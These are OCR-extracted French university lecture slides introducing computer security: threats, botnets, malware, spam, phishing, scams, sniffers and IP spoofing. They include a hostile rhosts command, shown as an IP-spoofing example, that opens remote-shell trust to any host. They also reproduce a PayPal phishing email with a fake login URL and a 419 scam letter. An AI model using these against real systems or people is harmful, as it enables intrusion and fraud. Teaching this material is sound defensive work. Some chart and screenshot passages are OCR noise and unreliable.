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Généralités
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Qu'est ce gu'un systeme
d'information ?

Systeme d’information :

7 organisation des activités consistant
a acquérir, stocker, transformer, diffuser, exploiter, gérer

... les informations

n-lm-l .
e [0o | 20 A

Un des moyens techniques
pour faire fonctionner un systeme d’information est d’utiliser un

Systeme informatique

Sy T TS\ %
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La sécurité des systemes
iInformatigues

* Les systemes informatiques sont au coeur
des systemes d’information.

 |Is sont devenus la cible de ceux qui
convoitent I'information.

o Assurer la sécurité de I'information implique
d’assurer la sécurité des systemes
iInformatiques.
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La securité des systemes

iInformatigues

Erreurs de saisie
Confidentialité :
Intégrité

“1
Attaques réseau
Confidentialité (écoute) Accés illicites (intrusion)
Intégrité (modification paquets) confidentialité

Disponibilité (saturation) Intégrité

Disponibilité
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Origine des attaques

Intranet

Interne

(50%) g
Externe

(50%)
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Objectifs de la sécurité
iInformatique

« Cing principaux objectifs a garantir:

— intégrite

— confidentialite
— disponibilité

— non-répudiation
— authentification
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Evolution des risques

— Croissance de l'Internet

— Croissance des attaques

— Fallles des technologies

— Fallles des configurations

— Fallles des politiques de sécurité
— Changement de profil des pirates
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Qui sont les pirates ?

 Peut étre n'importe qui avec |'évolution et la
vulgarisation des connaissances.

 Beaucoup d'outils sont disponibles sur Internet.

 Vocabulaire:

— "script kiddies"

— "hacktiviste"

— "hackers"

* "white hats"

"grey hats"
"black hats"
"cracker"
"carder"
"phreaker"
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Phénomenes techniques

* Explosion de la technologie des
transferts de données.

« Grande complexité des architectures de
systemes.

e Quverture (pas toujours maitrisee) des
reseaux de communication
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Phénomenes organisationnels

* Besoin de plus en plus d'informations

e Grande diversité dans la nature des
Informations:
— données financieres
— données techniques
— données medicales

e Ces données constituent les biens de
I'entreprise et peuvent étre tres convoitées.
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Objectifs des attagues

o Deésinformer

 Empécher l'acces a une ressource

« Prendre le controle d'une ressource

 Reécupérer de l'information présente sur le systeme
o Utiliser le systeme compromis pour rebondir

« Constituer un réseau de « botnet » (ou réseau de machines
zombies)
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Les « bothets »

* La notion de botnet date des premiers réseaux irc (début des années 1990).

 Réseau de machines contrélées par un « bot herder » ou « botmaster ».

@. &

Controle par:

\EE.Q“j . T -Serveurs irc
/ i -SerVEUI’S Web

-Requétes DNS

EE[HHH
#IPCJ

7 m![ — = : -Messageries instantanées
— ’EE.!H['I -Peer to Peer
fi \ g : E _Skype
@ s | =i _

&
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Les « bothets »

. Estimation: une machine sur quatre fait partie d'un botnet, soit environ 154 millions de machines (Vinton
Cerf a Davos en janvier 2007).

. Un botnet peut étre utilisé pour:
— Envoyer du spam
— Vol d'informations sensibles (avec un keylogger par exemple).
— Installer des spywares.
— Paralyser un réseau en déni de services
— Installer un site web malicieux (phishing)

— Truguer les statistiques de sites webs (sondage en lignes authentifiés par des adresses IP,
rémunération sur des clics de banniéres, ...)

. Quelques exemples:
— Jeanson James Ancheta, condamné en 2006 a 57 mois de prison ferme et trois ans de libertés
surveillées, a la téte d’'un botnet estimé a 400 000 machines.

— Pirate connu sous le pseudo de « 0x80 ». Lire l'article:
http://www.washingtonpost.com/wp-dyn/content/article/2006/02/14/AR2006021401342.html
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Motivations des attagues

e Vol d'informations

Fichier Edition Affichage Favoris Outils 2

Qrrececente - ) - [x] [ @0 ORethercher SirFavoris € (2~ 2 - H

b Cupidité Bicse Qj »|B oK Liens ™

Google- | v | Gl Rechercher - | & ¥

* Modifications d'informations |

* Vengeance/rancune

+ Beeware annoncs la
version 20 de Irteliwal
0 if i a

[}
tarfication Fortingt
[ Toutes les news ]

* Politique/religion
source: http://www.zone-h.fr
e Deéfis intellectuels
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Cible des pirates

Les états
Serveurs militaires
Banques
Universités

Tout le monde
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L a sécurité : une nécessité

Utilisateurs

Informaticiens

Législation Matériel

Stratégie de securité

Réseaux

'
000
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Niveaux de séecurisation

» Sensibilisation des utilisateurs aux problemes de
Sécurite.

e Securisation des donnees, des applications, des
systemes d'exploitation.

e Seécurisation des téléecommunications.

e Sécurisation physiques du matériel et des acces.
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Politique de sécurité

« Compromis sécurité - fonctionnalité.
 |dentifier les risques et leurs conséquences.

 Elaborer des regles et des procédures a mettre en ceuvre pour
les risques identifiés.

* Surveillance et veille technologique sur les vulnérabilites
découvertes.

* Actions a entreprendre et personnes a contacter en cas de
détection d'un probleme.
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Sécurité
e Mise en ceuvre
e Audit
e Tests d'Intrusion
e Détection d'incidents

e Réactions
e Restauration
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Quelques meéethodes

 EBIOS (Expressions des Besoins et Identification des
Objectifs de Sécurité)

http://www.ssi.gouv.fr/fr/confiance/ebios.html

« MEHARI (MEthode Harmonisée d'Analyse de
Risques)
http://www.clusif.asso.fr/fr/production/mehari

e Lanorme ISO 17799

Présentation:
http://www.clusif.asso.fr/fr/production/ouvrages/pdf/Presentation-1SO17799-2005.pdf
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Exemple ISO 17799

1/ Que protéger
et pourquoi ?

— " E—

2/ De quoi les protéger ?

3/ Quels sont les risques ?

4/ Comment protéger
I'entreprise ?
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Liste des biens
sensibles

—

Liste des menaces

iz e

Liste des impacts et
probabilités

'--_..___._---'""-'—‘—_

Liste des contre-mesures
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Technigues d'attagues

* Social Engineering

* MICE (Money, Ideology, Compromise, Ego)
* Dumpster diving

* Shoulder surfing

* Sniffing

* Scannings

* etc.
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 Kevin Mitnhick

06/10/2008

Exemple de social

englneerlng

3 livres, 1 film
(Cybertraque).
Piratage des réseaux
télephoniques.

Attague des machines
de Tsumotu Shimomura
au San Diego
Supercomputing Center.

5 ans de prison et sous
Interdiction d’utiliser des
ordinateurs.

ANTED

BY U. S MARSHALS

ICE TO ARKESTING AGENCY: Befcan lidute weurmad hrough Nutional Crisss Raformation Center (NCIC).

Uit Staten Mahals Service NCIC sntry musber: {(NIC/ I3
BAME: cencorseinnssnssnssss MITHICK, EEVIN DAVID
AKE(5)

«en MITHIE, FEVIN DANTD
MERRILL, BRIAN ALLEE

™ IE THE SAN FERNANDO VALLEY AREA OF CALIFORNIA AND
LAS VEGAS, HEVADA

Waritai lwd cmm. bmu-:- OF CALIFORRIA
‘Warnat

DATE WARRANT ISSUED. KOVEMBER 10, 1992

VEHICLE[TAG INFORMATION:  BONE ENOMM  OFTEN DSES PURNLIC TRANSPORTATION

H arvested or wharesbouts e, wolfy the hosal Usiind Seaes Marsdy O, (Telepdon: 213:334-2485 ).

|rm Conier in Mc I.u\'hnu
w_@gsﬂlm(‘m elephons contact) NLETS accans code is VAUSMOOOG.

FRICR EDETICNS AXE ORSOLETE ANT HOT T0 B USED e, W3R

MNovember 1992
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Dissimulation d'informations

* L'information peut étre dissimulée dans un
but de protection (mot de passe, ...) ou dans
des buts moins Iégaux.

» Differentes méthodes pour s'échanger de
linformation de maniere sure:

— chiffrement (symeétrique,asymeétrique)
— stéganographie
e Tout n'est pas autoriseé par la loi.
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Stéganographie

e Procédé ancien de dissimulation d'informations sensibles
parmi d'autres informations moins importantes.

« Exemple: lettre de George Sand a Alfred de Musset:

Je sids tres Srme Qe wens dive que jRai
bider compris, 1mautre jonr, qiie violls aves
torjours une envie folle de me faire
danssr. Je garde un souvenir de votre
beaiger et je worndrals que o soil

LA une prettve quie je pliisse e almsbe
A VOIS, Je Siis prétke & violls montneT o
Affection toube désinbéressée ot sans cal-
el Si vons veniles me volr ainsi

dénniler, sans anenn artifice morn Arve
tonrte mue, dajignes done me faine tme visite
Lt nons causerons on amis &t on chemin.
Je volls provveral que je suis La fermtme
sincére capable de vons offrir 1Madfection
la plus proforde et la plus Stroite

Amitié, en un maot, la meilleune ande

qile volls plissies rérver. Puisque volpe
ame et libre, alors que I"abandon ot je
vig est bien long, hien dur et bien sounwvert
péonible, ami tnés cher, j'ai e ooenr

SN0, eoolheE Vite o wolwes e la

fait oublier. A 1"amour, je welx me sol-
et ie,
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Stéganographie

* Fichiers graphiques ou sons assez adaptés
comme support.

e Cas particulier du watermarking.

« Exemples de logiciels:

— Steganos Security Suite
* http:/lwww.steganography.com

— outguess
* http://www.outguess.org

— MP3Stego
. http:IIwww.petitcoIas.net/fabien/steganography/mp3stego/
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Menaces liéees aux reseaux

 Menaces actives
— Panne, mauvaise utilisation, pertes d'informations
— Contamination (virus, vers, spyware)
— Spam, phishing
— Chevaux de troie (backdoors)
— Dénis de services
— Intrusions
— Bombes logiques
 Menaces passives
— Ecoute des lignes
— Analyse de trafic

06/10/2008 _ENSICAEN - () dp
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VIrus

« Portion de code inoffensive ou destructrice capable de se
reproduire et de se propager.

« Différents types de virus:
— Virus boot
— Virus dissimulé dans les exécutables
— Macro virus
« Différentes contaminations possibles:
— Echange de disquettes
— Pieces jointes au courrier électronique
— Exécutables récupéres sur Internet
— etc.
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Vers

* Proches des virus mais capables de se propager sur d'autres
ordinateurs a travers le réseau.

* Un moyen courant de propagation: le carnet d'adresses
d'outlook (ex: "l Love you": déni de service sur les serveurs

web).

 Quelques exemples:

— Code Red (utilisation d'une faille des serveurs IIS et
défiguration des sites)

— Blaster (utilisation d'une faille du protocole windows DCM
RPC)

06/10/2008 -ENSICAEN -  (c) dp 32
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Propagation du ver Sapphire:

http://www.caida.org/analysis/security/sapphire/

25 janvier 2003, 05:29 0 victime
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Chevaux de troie

e Tres répandu

* Quelques exemples pour Windows
— Back Oirifice
Permet de la « remote administration ».

— Sockets23 (Socket de Troie)

Signale la présence des ordinateurs iInfectes
sur des serveurs de discussion en direct de type
Irc.
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Les spywares

Définition du spyware (http://en.wikipedia.org/wiki/Spyware):

Un spyware (“"espiogiciel”) est un logiciel qui collecte des informations d'une
machine et les envoie a I'insu de l'utilisateur sans son consentement.

Concept inventé par Microsoft en 1995.

Quelques chiffres émanant d'une étude du NCSA menée chez les
abonnés d'AOL en octobre 2004:

— 80% des PC étudiés contenaient au moins 1 spyware.
— Un PC héberge en moyenne 93 spywares.
— 90% des personnes interrogées n'‘ont jamais entendu parler de spyware.

Un spyware se deécline aujourd’hui en "adware" (logiciel d'affichage de
publicité) et en "malware" ("pourriciel”, logiciels hostiles)

06/10/2008 -ENSICAEN -  (c) dp 35
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Technigues d'infection des
spywares

» Les logiciels lies (bundles): installation du spyware en méme temps qu'un
logiciel légitime (KaZaA, codec DivX, ...)

« La navigation sur Internet

— exploitation de failles (essentiellement mais pas uniqguement avec Internet
Explorer)

— Installation volontaire (par acceptation) d'un logiciel, activeX, plug-in
 La messagerie incitant par SPAM a visiter des sites douteux.

* Une exemple particulier: 2 septembre 2008 a travers le webmail de la Poste

http://www.01net.com/editorial/389835/laposte.net-a-diffuse-involontairement-une-publicite-piegee/
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Comparaison spyware/virus

e Un virus est capable de se reproduire, en général pas les spywares.

* Unvirus s'installe sur une machine a sécurité faible, un spyware va
plutdt inciter un utilisateur naif ou ignorant a le télécharger et a
l'installer.

« Unvirus est destiné a utiliser des ressources de la machine et peut
avoir des actions nocives (destruction de fichiers, ouverture de
"backdoor", ...). Un spyware n'est en principe pas destiné a

endommager une machine.

» Les auteurs de spywares peuvent étre rémunérés, ce n'est bien slr pas
le cas pour un createur de virus. Le délai d'apparition d'un spyware
apres découverte d'une faille peut donc étre tres court.
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Détection de spyware

« Comportement anormal de la machine:
— Fenétres "popup” intempestive.
— Page d'accueil du navigateur modifiée.
— Apparitions d'icénes sur le bureau.
— Connexions a Internet intempestives.
— Trafic réseau anormal.
— Désactivation des outils de sécurité locaux.

» Les outils de sécurité locaux:
— DLL modifiée (détectable par un antivirus).
— Firewall personnel
— Outils anti rootkits
* Les outils de sécurité réseau:
— Connexions récurrentes et/ou nocturnes.
— Téléchargements suspects.
— Connexions vers des sites réputés pour étre lies au spyware.
— Connexions vers des sites non référencés dans un dns.
— Connexions vers des sites .ru .cc .tw .cn ...

06/10/2008 -ENSICAEN -  (c) dp
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Les "antl spywares"”

« ENn 2000, Gibson Research développe le 1er progamme antispyware: OptOut
(http://grc.com/optout.htm).

« Beaucoup de programmes commerciaux pour éliminer les spywares qui
proposent tous un détecteur gratuit; quelgues exemples:
- XoftSpy : http://www.paretologic.com/xoftspy/lp/14/
— NoAdware: http://www.noadware.net/new3/?hop=comparets
— Spyware Eliminator: http://www.aluriasoftware.com/homeproducts/spyware/
— Pal Spyware Remover:
http://mww3.palsol.com/spyrem_offer/index.html?hop=comparets
— Anonymizer's Anti-Spyware
http://www.zonelabs.com

— Et bien d'autres...

* Quelques solutions domaine public:

— Ad-Aware Standard Edition http://www.lavasoft.de/
— Spybot http://www.spybot.info/fr
— Microsoft Defender http://www.microsoft.com/downloads
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La

protection contre les spywares

» Pas de protection universelle puisqu'en perpetuelles
évolutions.

Quelques regles a respecter néanmoins:

Sensibiliser les utilisateurs sur les risques liés a l'installation
de logiciels non directement utiles (barres dans les
navigateurs, codec DivX, ...)

Ne pas consulter des sites douteux.

Inciter les utilisateurs a signaler l'infection de leur machine
par un spyware.

Utiliser des outils de protections spécifiques (Ad-Aware,
Aluria, PestPatrol, SpyBot, Webroot, ...) capables de
bloquer linstallation de certains Iog|C|eIs suspects.

06/10/2008 -ENSICAEN -  (c) dp 40
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SPAM

o Définition de la CNIL: Envoi massif et parfois répété de courriers
électroniques non sollicités a des personnes avec lesquelles
I'expéditeur n’a jamais eu de contact au préalable, et dont il a capté
I'adresse électronique facon irréguliere.(pourriel en francais).

« SPAM=Spiced Pork And Meat, popularisé par un sketch des Monty
Python (http://www.dailymotion.com/swf/x3a5yl)

 Un message va étre déposé dans une liste de serveurs de courrier; les
serveurs abusés vont envoyer une copie a chaque destinataire.

e Courrier basé sur une liste d’adresses collectées de maniere déloyale
et illicite.

 Messages peu colteux a I'envoi mais colteux pour le destinataire.
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Le spam en quelgues chiffres

e« 100% : croissance du colt du spam chaque année

42 milliards de $ : codt global pour les entreprises au niveau mondial en 2004,
200 milliards de $ en 2007

« 600 a 1000 $: colt par an et par salarié
* Plus des 2/3 du volume total et mondial d’e-mails envoyés

* 85% des spams recus en France sont rédiges en langue anglaise (7% en
francais)

60% proviennent des Etats-Unis

Sources : Basex, Radicati Group, Ferris Research, Postini, CNIL
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Protections contre le spam
cOté utilisateurs

* Ne rien acheter par lI'intermédiaire de publicité faite par un spam (des études
indiquent que 29% des utilisateurs le font).

* Ne jamais répondre a un spam.

* Ne pas mettre d'adresses électroniques sur les sites webs mais les encoder par
un script ou dans une image (exemple: http://www.caspam.org).

» Etre prudent dans le remplissage de formulaires demandant des adresses
électroniques; on peut parfois utiliser des adresses « jetables ». Exemple:
http://www.jetable.org (adresse valable d’'une heure a un mois).

* Protection au niveau du client de messagerie (gestion des "indésirables") .
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Protection contre le spam
sur les serveurs de messageries

 Protection délicate: la frontiere entre un courriel et un pourriel n’est pas toujours
franche et il ne faut pas rejeter des courriers réels.

* Un serveur de courrier doit &tre bien configuré (en particulier, pas « d’Open
Relay ».

e Gestion de listes blanches.

e (Gestion de listes noires:

— Manuellement
— Par utilisation de bases de données de relais ouverts

» Gestion de listes grises.

* Des outils de filtrage en aval:
— Spam assassin
— pure message (sophos)

06/10/2008 -ENSICAEN - (c)dp 44
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Exemple de rapport "Pure

Message”

S - spam - autre)

' viru

(code couleur

r

eqories

Trafic par cat

e

23911

19129
14546 -

9564 |-

4782 |

LA
noRET
0o RET
0o Res
00sET
00 e
npaed
T
g s
00esT
no=sg
0 ses
nnssT
0pRed
0 RET
g egz
N0 ese
IR
nnes
nnass
gRed
g Res
nosEE
nosEe
LIEssA
g s
0o RET
0 RET
N0z
R
0o ez

PO=P0-500Z
E0=P0-5007
TO=+0-500T
To=+0-5002
Te-20-5002
DE-£0-5002
BI=L0-500Z
Qr=Lo-500Z
LT-C0-500T
GE-C0-5S008
SZ-S0-5002
PE-L0-5002
LE-L0-5002
CE-L0-500%
TZ-L0-500¢
0Z-S0-5002
ET-L0-S00%
2T-L0-5002
LT-L0-500Z
GI-C0-5002
ST-£0-5008
PI-L0-5002
ET-L0-5002
ZI=£0-5002
TI-£o-500Z
0T-S0-5S002
BO-C0-S00T
Q0-S0-5008
L0-L0-S00&
G0-£0-500Z
S50-£0-5002
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O0EPT LO—f0—300E
QnELT Z0=p0-a00Z
Q0L To—f0-a00Z
MNEET TE-S0-a00E
QNS 0L-L0—a00
Mg BI-L0-900z
LT 2E-L0-a00 T
MRS LT-S0-300E
MnELT AT-Ci-a00Z
Mg ST-o0-a00s
IS RT-S0—a00 &
QNS LT-L0-a00E
Mg ZT-L0-q00s
ML TE-L0-a00 T
QNS 0T-S0-300E
ML BT-L0-a00Z
Mg 2T-on-a0ns
Mg LT-S0-a00E
QNS AT-L0-a00
Mg ST-o0-a0ns
ML PT-L0-300 T

NNeas ST-5n-amnw

MnELT TT-L0-a00e

MnEgT TT-L0-a00Z

AngT 0T-L0-300
MNEET BO-S0—300E
QNELT QO=L0=a00Z
Mneg A0-on-a0ns
ST Q-0 —a00 &
QNS S0-L0-a00

M0RET pO=L0=300Z

1935 -
n

ET
774 b
szl [
FE6T [

Effet du grey listing (13 mars
2006)

=
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S
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=
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i
=
2
E
g
&
i
3
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46

(c) dp

- ENSICAEN -

06/10/2008



F—=

ENSICAEN

Exemple de compte-rendu

Types de virus rencontrés ces 30 derniers jours

Virus Types
W32/Netsky-P
W32/Netsky-B
W32/Netsky-D
W32/Zafi-B
W32/Netsky-C
W32/Netsky-Y
W32/MyDoom-O
W32/Netsky-N
W32/Zafi-D
W32/Netsky-AE
W32/Netsky-Z
W32/Bagle-AG
W32/Bagle-BK

06/10/2008

Count
3853
1488
981
723
337
305
265
214
94
93
70
67
64

-ENSICAEN -  (c) dp
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Phishing

« Contraction de PHreaking et fISHING (Hameconnage).
« Technique d'ingénierie sociale utilisée par des arnaqueurs (scammers)
* Technique ancienne mais utilisée massivement depuis 2003.

 Par le biais de courrier électronique, messages instantanes, site webs,
etc., on tente de duper l'utilisateur en le faisant cliquer sur un lien.

» L'objectif est d'obtenir des adresses de cartes de crédit, des mots de
passe, etc.

» Les adresses sont collectees au hasard, mais statistiquement un
utilisateur peut avoir I'impression de recevoir un courrier d'un site qui lui
est familier (banque, ...).
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Exemples de cible de
phishing

*Visa

LES cHeVPUX DE TROIE &T
° eBa.y LE pniéi‘ﬁg?giﬂ"ﬁ”?
+ Citibank g (i
. Paypal . N - HEHE
e Banques

e et bien d'autres ...

o Juillet 2006: 154 marques concernées
par le phishing
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Exemple phishing

Dear valued PayPal® member:

Due to concerns, for the safety and integrity of the paypal
account we have issued this warning message.

It has come to our attention that your PayPal® account information needs to be
updated as part of our continuing commitment to protect your account and to
reduce the instance of fraud on our website. If you could please take 5-10 minutes
out of your online experience and update your personal records you will not run into
any future problems with the online service.

However, failure to update your records will result in account suspension.
Please update your records on or before Oct 04, 2005.

Once you have updated your account records your paypal account
service will not be interrupted and will continue as normal.

To update your PayPal® records click on the following link:
http://www.paypal.com/cgi-bin/webscr?cmd=_login-run

Thank You.
PayPal® UPDATE TEAM \

http://209.133.49.211/icons/cgi-bin/login.html
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Faux site paypal

A PayPal - Welcome - Microsoft Internet Explorer

Eichier Edition  Affichage

) Précec 1)

Fayoris Qutils 2
\ﬂ @ .. ) Rechercher

=]

X

Favorls € 2 2 B2 - L JHY

Adresse Iej http: /f209,133.49.21 1 ficons/egi-bindogin html

¥ ! 0K Liens

Googler |

v | Gl Rechercher - 0 S186

bloquéels) +

»

- ~
[FERAFE]] Sign Up | Log In | Help
welcome Send Money Request Money Merchant Tools Auction Tools
Member Log In Foraot your Passwordz | JoIn PayPal Today
] How, ver Learn more about
Emsil Address | | 78 million accounts Faiayinan
poswors | CEmTED
‘ The Saf
- W, b 2 P ’
N Visit PayPal's new
P ay to Pay o
I[[' e 5“.-, PayPal Is a global leader In online payments. Find out more
e - - e e i G B Contribute to the
Hurricane
Buyers eBay Sellers Merchants Response Fund
Send money to anyone Eree sBay tools make Accept credit cards on
with an email address selling easier vour wehsite using Ent ise Soluti
in 56 countries and PayPal. nterprise L;m“rr'margs
regions. PayPal works hard to
help protect sellers, Corpare our solutions
PayPal is free to use. to merchant accounts ;
payPal simplifies and gateways What's New
Your information is shipping and tracking. Buy Esurance auto
kept secure Low fees make PayPal insurance with PayPal
Earn cashback with the affardable chaice. Brotect your identit
Learn about sending payPal Preferred and more with OnGuard
payments through Rewards, Learn why PayPal is Online
PayPal, good for business, Special Offar
Mo payments until 2008
for new PayPal Buyer
Credit users
About | Accounts | Fees | Privacy | Security Center | Contact Us | User Aareement | Developers | Jobs |
Buyer Credit | Referrals | Shops | Mass Pay
PayPal, an eBay company
Copyright ? 1999-2005 PayPal. All rights reserved,
Infarmation about FOIC pass-through insurance
-
&] B ® Internet

-ENSICAEN -  (c) dp
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« Verifier la pertinence des messages.

* Ne pas cliquer sur un lien (mais taper l'adresse dans le
navigateur).

« Etre prudent avec les formulaires demandant des
informations confidentielles.

« Lors de la saisie d'informations confidentielles, vérifier que
I'information est chiffrée et le certificat valide.

«  Certains sites commerciaux (ebay, paypal, ...) rappellent le
nom d'utilisateur dans les courriers envoyes. Un courrier
commencant par quelgue chose ressemblant a "Cher
utilisateur d'ebay" peut étre par conséquent suspect.

06/10/2008 - ENSICAEN -  (c)dp

Certificat

General | Détails | Chemin d'acces de certification

iy
Informations sur le certificat

Ce certificat est congu pour les riles suivants :
sGarantit lidentité d'un ordinateur distant

Délivré a: v nek 142 caisse-epargne. fr

Délivré par : Thawte SGC CA

Yalide a partir du 10/09/2004 jusqu'au 16/03/2006

. Installar\egertmcat —
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Le "scam”

e Pratique frauduleuse d'origine africaine
("ruse") pour extorquer des fonds a des
iInternautes.

e Réception d'un courrier électronique du
descendant d'un riche africain décédée dont il
faut transférer les fonds.

* Connue aussi sous le nomde 419en
reference a l'article du code péenal nigerian
reprimant ce type d'arnaque.
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Exemple de "scam"

Objet: ASSISTANCE i

GEORGES TRAORE ABIDJAN,COTE D'IVOIRE. AFRIQUE DE L'OUEST.

Bonjour,

Je vous prie de bien vouloir excuser cette intrusion qui peut paraitre surprenante a premiére vue d'autant qu'il
n'existe

aucunf? relation entre nous. Je voudrais avec votre accord vous présenter ma situation et vous proposer une
affaire qui

pourrai&vous intéresser. Je me nomme Georges TRAORE, j'ai 22 ans et le seul fils de mon Pére Honorable
RICHARD

ANDERSON TRAORE qui était un homme tres riche, négociant de Café/Cacao basé a Abidjan la Capitale

Economique de la Céte d'lvoire, empoisonné récemment par ses associés. Apres la mort de ma mere le 21
Octobre 2000,
mon pl_ér_e m'as pris spécialement avec lui. Le 24 Décembre 2003 est survenu le déces de mon pere dans une
clinique
privéde (LAMADONE) a Abidjan. Avant sa mort, secrétement, il m'a dit qu'il a déposé une somme d'un montant
e

($8,500,000) Huit Millions Cing Cent Mille Dollars Américains dans une valise dans une Compagnie de Sécurité

Financiere en mon nom comme héritier. En outre, il m'a dit que c'est par rapport a cette richesse qu'il a ete
empoisonné

par ses associés. Il me recommande aussi de chercher un associé étranger qui pourrait honnétement me faire
bénéficier

de son assistance pour sauver ma vie et assurer mon existence. - Changement de bénéficaire ;

- Servir de gardien ;

- - Fournir un compte pour le transfert de fonds ;

- - M'aider a le rejoindre dans son pays ;

- - Investir dans un domaine profitable.

Dailleurs, je vous donnerai 25 % et 5% serviront aux dépenses éventuelles qui seront effectuées.
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Conséquences des virus, vers,
spywares, spam...

* Perte de données
* Perte de temps de travalil
* Perte d'image de marque

* Perte de fonctionnalités (systeme ou
email bloqués)

e Perte de confidentialité
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Vulnérabllitées des
reseaux
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Vulnérabilité des réeseaux
e Les reseaux peuvent étre vulnérables:

— par une mauvaise impléementation des
piles udp/ip et tcp/ip.

— par des faiblesses des protocoles
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06/10/2008

Rappel : Entéte IP

32 bits

Version | IHL Type Service Longueur Totale
|dentification Flags | Décalage Fragment
TTL Protocole ControOle entéte
Adresse Source

Adresse Destination

Options

Remplissage

-ENSICAEN -  (c) dp
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06/10/2008

Rappel: Entéte UDP

32 bits
Port source Port destination
Longueur UDP Total de contr6le UDP
- ENSICAEN -

(c)dp 59
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Rappel: Entéte TCP

32 bits

A
v

Port source Port destination

Numéro de séquence

Numéro d'acquittement

Long UAIPR |SIF
entéte s E a $ N Taille de la fenétre
TCP

Total de controle Pointeur d'urgence

Options (0, 1 ou plusieurs mots de 32 bits

Données (optionnelles)
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e Connexion en 3 temps (Three Way

connexion TCP

Handshake).

1) SYN (seqx)

D 2) SYN (seqy).ACK (seqx+1)

Rappel: etablissement d'une

3) ACK (seqy+1)

06/10/2008

Cliert

-ENSICAEN -  (c) dp
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Sniffer

e QOutil de base indispensable.

e Permet de visualiser les trames sur un
segment de réseau.

e Nécessite des droits administrateurs.
« Attention au probleme juridique

o Utilise des sockets en mode « promiscuous »
« socket (AF_INET,SOCK_RAW,IPPROTO_RAW)
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Sniffer

e Beaucoup de logiciels sniffers existants.

e Liste sur
nttp://packetstormsecurity.org/sniffers

* Le sniffer de base pour unix: tcpdump.
« Disponible sur http://www.tcpdump.orag.
 Grammaire tres evoluee.

o Affiche les entétes de paquets repondant au
critere spécifié.
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tcpdump exemple

e tcpdump host e450 and port 25

 11:41:46.783567 e450.ensicaen.ismra.fr.63842 > sdn.ismra.fr.smtp:
S 3390960877:3 390960877(0) win 8760 <mss 1460> (DF)

 11:41:46.784714 sdn.ismra.fr.smtp > e450.ensicaen.ismra.fr.63842:
S 662708920:66 2708920(0) ack 3390960878 win 33580 <mss 1460>
(DF)

e 11:41:46.784976 e450.ensicaen.ismra.fr.63842 > sdn.ismra.fr.smtp:
. ack 1 win 87 60 (DF)

e 11:41:47.002410 sdn.ismra.fr.smtp > e450.ensicaen.ismra.fr.63842:
P 273:320(47) ack 80 win 33580 (DF)
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Sniffer multi-plateforme

o ethereal (http://www.ethereal.com) devenu wireshark
(http://www.wireshark.org), un sniffer multi plateforme
graphique.

(caplule) - Ethereal =] E3
File Edit Capture Display Tools Help
N0.|Time ‘Source ‘Deshnatiun ‘F’rmocol |\nf0 =
1 0.000000 pclinter.ensicaen. ism sdn.ismra.fr TCP 1036 > smtp [SYN] Seq=4516370 ack=0 win=8192 Len=0
2 0.001286 sdn.ismra.fr pclinter. ensicaen. ism TCP smtp > 1036 [Srn, ACK] Seq=1761952503 Ack=4516971 win=:
3 0.003441 pclinter.ensicaen.ism sdn. ismra. fr TCP 1036 » smtp [ACK] Seq=4516971 Ack=17619523504 win=8760 L~
4 0.177054 =sdn.ismra.fi Lism SMTR Response: 220 sdn.ismra.fr ESMTP Sendmail B8.9.3,/8.9.3/1
g Commar il
6 0.213742 5 pclinter.ensicaen.ism Response: 250 sdn.ismra.fr Hello pclinter.ensicaen. ismr
7 0.346062 pclinter.ensicaen.ism sdn.ismra. fr SMTP caommand: RSET
8 0.394056 =sdn.ismra.fr pclinter.ensicaen. ism SMTP Response: 250 Reset state
9 0.418703 pclinter.ensicaen.ism sdn.ismra.fr SMTP Command: MAIL FROM:<cecile.huet@ismra.frs>
10 ©0.511515 sdn.ismra.fr pclinter.ensicaen.ism TCP smtp > 1036 [ACK] Seq=1761952704 ack=4517026 win=33580
11 ©0.561917 sdn.ismra.fr pclinter.ensicaen.ism sMTP Response: 250 <cecile.huet@ismra.fr>... sender ok
12 0.597463 pclinter.ensicaen.ism sdn. ismra. fr SMTP caommand: RCPT TO:<vandewoorde@ganil.frs
13 0.656843 sdn.ismra.fr pclinter.ensicaen. ism SMTP Response: 250 <vandewoorde@ganil.fr=... Recipient ok
14 0.666494 pclinter.ensicaen.ism sdn.ismra.fr SMTP Command: DATA ’
15 0.670948 sdn.ismra.fr pclinter.ensicaen.ism SMTP Response: 354 Enter mail, end with "." on a Tine by its d t d I
16 N RNAFIT neldmtar oncdcaon dem cdn demra Fr amTo Massann Bk ’ £ &r e e uS
I -
Frame 5 €69 on wire, 8% captured) T/de 700 protocol %
Ethernet II
Internet protocol, src addr: pclinter.ensicaen.ismra.fr (193.49.200.231), Dst addr: sdn.ismra.fr (192.93.101.14)‘/ : :
Transmission Control Protocol, src Port: 1036 (1036), DSt POrT: smup (25), Seq: 4516971, ack: 1761952598 app IcaII S
Simple Mail Transfer Protocol 7

| I

0000 00 00 OC 18 a7 7h 00 80 cB 6c od 1f 08 00 43 00 e SICAEETE
0010 00 37 £4 00 40 00 BO 06 57 3b cl 31 <8 eF c0 5d LToaE L WLl
0020 65 0e 04 0c 00 19 00 44 ec 6b 69 05 43 36 50 18 TP oL ki.ove /|

Filter | J Reset |F|Ie: <capture> Drops: O
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= sniffer plus "spécialisé": Cain &
Abel

e |+ EevmEBrFrE-ai2¥Y¥an2 @2 0N
& Protected Storage |§ Metwark Im Sniffer |§ LSA Secrets |@'f) Cracker I@ Traceroute |M CCou |E‘I§’J Wireless |

|54 Passwords Timestamp POP3 server Username
SFTP (O)
EBHTTP ()
2 IMAP (0)
% POP3 (1)
s SMB (0)
- Telnet (0)
WINC (0}
& TDS (0)
51 SMTP ()
B NTR ()
185 MaKerbS-PreAl
-8 Radius-Keys (O
& Radius-Users (€
#1C0 (0)
5 [KE-PSK (D)
T MySOL (0
= SNMP (8)
@ SIP (D)

Hle View Configure Tools Help

<
< | > |3 Pors
=) Hosts [ @ arr [ Routing %R Passwords |@ ol ‘

Lost packets: 0%
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IP Spoofing

 Méthode d'attague qui parodie I'adresse IP d'un
autre ordinateur (usurpation).

 Permet de broulller les pistes ou d'obtenir un
acces a des systemes sur lesquels
I'authentification est fondée sur I'adresse IP
(rlogin, rsh sur les machines a numéro de
ségquence TCP prévisible).
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Machine pirate

 Exemple d'utilisation: attague d'un remote
shell: echo "+ +" >>/.rhosts

06/10/2008 -ENSICAEN -  (c) dp 68



Déni de service (DOS)

Denial Of Service

Attague destinée a empécher | 'utilisation d 'une
machine ou d 'un service.

Type d'attaque utilisée par frustration, par rancune,
par nécessite, ...

Souvent plus facile de paralyser un réseau que d'en
obtenir un acces.

Ce type d attaque peut engendrer des pertes tres
Importantes pour une entreprise.

Attaque relativement simple a mettre en ceuvre
(outils faciles a trouver).
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Differents types de DOS

